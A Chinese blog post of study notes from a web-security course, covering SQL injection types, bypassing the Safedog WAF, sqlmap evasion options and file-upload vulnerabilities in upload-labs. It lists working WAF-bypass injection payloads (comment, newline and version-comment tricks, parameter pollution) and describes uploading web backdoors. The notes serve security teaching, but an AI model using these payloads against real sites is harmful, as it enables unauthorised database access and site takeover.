首页 > 其他分享 >小迪安全17-21集重要知识点

小迪安全17-21集重要知识点

时间:2023-07-18 23:34:58浏览次数:38  
标签:201 知识点 小迪 17 文件 23 FILES 上传 id

sql注入 #加解密,二次,DNSlog 注入 加解密:在注入时通常把注入语句修改为对应的加密形式 因为在php源代码中有解密的操作 然后才带入数据库进行查询 二次注入: 二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。   0 #堆叠查询注入 只有部分数据库支持 堆叠注入一般用于插入到管员下的表中 管员的密码加密了 无法解密 进行自定义插入数据后 可用自身自定义的账号密码登录--也是管员身份 Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。 这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。 #phpstudy+safedog 安装找不到服务解决 #市面上常见的 waf 产品列表分析-wafw00f #部分 bypass sqlinject payload id=1 union /*%00*/ %23a%0A/*!/*!select 1,2,3*/;%23 id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23 id=-1%20union%20/*!44509select*/%201,2,3%23 id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23id=1/**&id=-1%20union%20select%201,2,3%23*/ id=-1 %20union%20all%23%0a%20select%201,2,3%23 id=-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23 在绕过安全狗的测试中 可将联合查询写为 union %23a %0a select 1,2,3--%23为# %0a为换行符 相当于 union #a 防止安全狗还检测#后面的语句 写一个a干扰 select 1,2,3 根据下图 可进行参数污染 例如:?id=1&id=2 php+apache 获取参数执行时执行后面的值 结果就是2 0 0 在sqlmap中自带一个字典 伪造user-agent信息 绕过WAF --random-agent 自动把数据包中的User-agent改掉 为了防止waf拦截的方法:1.爬虫 把User-agent改为搜索引擎的信息 2.延时注入:delay x 隔几秒发一个数据包 3.修改user-agent: --random-agent 自动把数据包中的User-agent改掉 也可以自定义User-agent=“” %23x%0aunion%23x%0Aselect%201,2,3 %20union%20/*!44509select*/%201,2,3 --版本号绕过 /*!xxxxxselect*/ 意思就是mysql版本号大于4.4.509的执行语句 否则不执行 %20/*!44509union*/%23x%0aselect%201,2,3 id=1/**&id=-1%20union%20select%201,2,3%23*/ %20union%20all%23%0a%20select%201,2,3%23 文件上传 危害:上传网站后门,获取当前网站的权限,属于高危漏洞。 如何查找和判断漏洞: 1.黑盒查找:通过工具扫描网站敏感文件、路径,以期获得文件上传地址。或者通过类似于会员中心的上传图片功能进行漏洞测试。网站后台也有上传功能(后台权限不等同于网站权限)。 2.白盒测试:审计代码,寻找上传漏洞。 通过抓包、上传等操作判断漏洞是否有效。 需要注意的地方:判断上传漏洞的类型。 Finecms漏洞:在上传图片时 抓包改掉格式 显示上传错误 其实上传上去了 只是你不知道 uid用户头像地址 0 %00 0x00 区别一个写在get 一个写在post get 0 0 0 0 0 文件上传常见验证: 后缀名,类型,文件头等 后缀名:黑名单:明确不允许上传的文件后缀(不是这些后缀的都可以) 例如:php asp jsp... 白名单:明确允许上传的文件后缀(满足这些后缀的可以) 例如:png zip jpg... 文件类型:MIME 信息 content-Type称为MIME信息 对应filename显示的格式 0 文件头:内容头信息 0 0 简要上传表单代码分析解释 在PHP中,文件上传功能的实现步骤: (1)在网页中上传表单,单击“上传”按钮后,选择的文件数据将发送到服务器。 (2)用$_FILES获取上传文件有关的各种信息。 (3)用文件上传处理函数对上传文件进行后续处理。 若文件上传域的name属性值为upfile,则可以使用$_FILES['upfile']访问文件的有关信息。 $_FILES['upfile']['name']; //客户端上传文件的原名称,不包含路径 $_FILES['upfile']['type']; //上传文件的MIME类型   $_FILES['upfile']['tmp_name']; //已上传文件在服务器端保存的临时文件名,包含路径 $_FILES['upfile']['error']; //上传文件出现的错误号,为一个整数 $_FILES['upfile']['size']; //已上传文件的大小,单位为字节 表单中的name和$_FILES中upfile需要一致 0 演示案例:  uploadlabs 关卡分析 trim() 函数移除字符串两侧的空白字符或其他预定义字符。 str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。 substr() 函数返回字符串的一部分。 strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。 strtolower为转换为小写 把截取到的后缀转化为小写 trim为文件名首尾去空格 deldot为删掉末尾的点 strrchr为截取从.开始后面的内容 用于方便判断后缀 --从文件命名的最后面往左找点 找到后截取点后面的内容    

标签:201,知识点,小迪,17,文件,23,FILES,上传,id
From: https://www.cnblogs.com/aijt/p/17564415.html

相关文章

  • 数据结构与算法:图有哪些关键核心知识点
    图是一种复杂的数据结构,它由顶点和边组成,可以表示任意两个数据元素之间的关系。图有以下一些基本概念和术语:图可以分为无向图和有向图,根据边是否有方向。图可以分为简单图和多重图,根据边是否重复或自环。图可以分为完全图和非完全图,根据任意两个顶点之间是否存在边或弧。图......
  • 科目一知识点,自己写着玩玩~~
    安全规则题:道路行驶,安全至上,所以遇到说 加速干啥干啥的都是错误的,,减速慢行都是对的,甚至你说你保持原速那也是错误的,就得减速,安全第一同行道口,礼让为重,涉及到礼让的都是对的减少并行时间是对的顺序通行的规则:拐弯让直行、右转让左转、同直行右侧先行不能超车情况:执行任务的......
  • 7.17
    之前已经掌握到秘诀了所以明天都去的比较晚。昨天去场地模拟了几把,觉得还行也过了一把。就连的比较随意了。差不多完了40来分钟才到,来了刚好轮到我了。等着练完车回家,今天吃早饭了,不饿了。回来稍微带了一下就中午了,中午做了饭吃了点饭睡了个午觉,醒了写了会作业,看了会书,今天才开始......
  • poj 1716 Integer Intervals (贪心)
    题意:给定n个连续的区间,求一个集合。其中,n个区间的每一个区间都至少包含两个这个集合的元素。求这个集合元素的最小值。 题解:1、先将所有区间按终点从小到大排序。2、我们先取第一个区间(排好序的区间)的两个值,因为要使得结果最优,我们肯定选择最接近终点的那两个值。假设一个为Selem,......
  • hdu 2177 取(2堆)石子游戏 (博弈)
    题意:有两堆石子,两人轮流取石子,轮到某人时,有两种取法,要么从两堆石子中同时取出一定数量的石子,要么只从一堆中取任意数量的石子,不能不取。不能取的人判为输。普通思想:对于博弈问题,首先想到的就是sg函数。所以我们先从小到大的看局面。可以得出,对于每一种状态(x,y)x,y为石子堆。要么(x,y)本身......
  • poj 1777 Vivian's Problem
    题意:给出K个数,p1,p2,……pk,不一定是素数,给这些数添加指数,0-10之间,最终的乘积为n,他的所有因子和为m,问是否存在一个m为2的幂,如果有多个输出最大的指数,如果没有输出NO。梅森素数 我们把满足E=2^i-1的素数E称作梅森素数。关于梅森素数,有一个重要的定理:“一个数能够写成几个......
  • 7.17总结
    周一赶凌晨的火车去青岛,九点半到青岛,坐地铁去酒店,下午租车环海,晚上去啤酒节,真的很好。 ......
  • 第17天
    一、双色球问题packagecom.lianxi.www;importjava.util.Random;importjava.util.Scanner;publicclass双色球{publicstaticvoidmain(String[]args){//1、随机生成中奖号码。int[]zhong=newint[7];zhong=create();......
  • CF1769C2 Подкрутка II 题解
    看到同机房的好哥们发了贪心做法的题解,心血来潮就A了这道题写了真·dp的题解。虽然方法比老师上课讲的麻烦的多,并不是最优解,但至少是我自己思考得出的结果。题目要求输入一个原序列\(a_i\),从\(a_i\)中求得某个区间\([l,r]\)。此区间经过题面中所描述的修改操作(任何元素\(......
  • SAM(segment-anything导出onnx模型报错unsupported onnx opset version:17)
    问题导出samonnx模型时,报错!版本:torch=1.12.0;onnx=1.14.0UnsupportedONNXopsetversion:17 解决方案将scripts/export_onnx_model.py中的onnxopset的默认值(default=17)从“17”改为“11” 修改default为“11” 修改完毕后,再运行:  ......